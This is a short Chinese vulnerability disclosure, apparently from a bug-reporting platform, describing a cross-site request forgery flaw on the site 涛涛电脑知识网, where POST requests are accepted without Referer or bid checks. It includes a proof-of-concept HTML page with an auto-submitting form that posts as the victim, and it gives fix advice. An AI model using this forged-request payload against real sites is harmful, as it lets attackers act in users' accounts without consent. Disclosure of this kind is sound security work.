在接受POST信息时，涛涛电脑知识网，未对POST来路(Referer)进行验证，对POST信息中的bid要求不严，导致漏洞产生。
漏洞证明：漏洞地址：
<html>
<body>
<form id="imlonghao" name="imlonghao" action="" method="post">
<input type="text" name="action" value="blog" />
<input type="text" name="post" value="true" />
<input type="text" name="comment" value="XX" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
原本POST信息中有一个bid的信息，就是写上自己的ID，本来以为会失败的，涛涛电脑知识网，谁知道一删除这段代码也能照样更新日志。
接口返回信息
效果
修复方案：
检查POST来路Referer
严格检查POST信息中的bid参数，严格判断是否为用户
作者 imlonghao
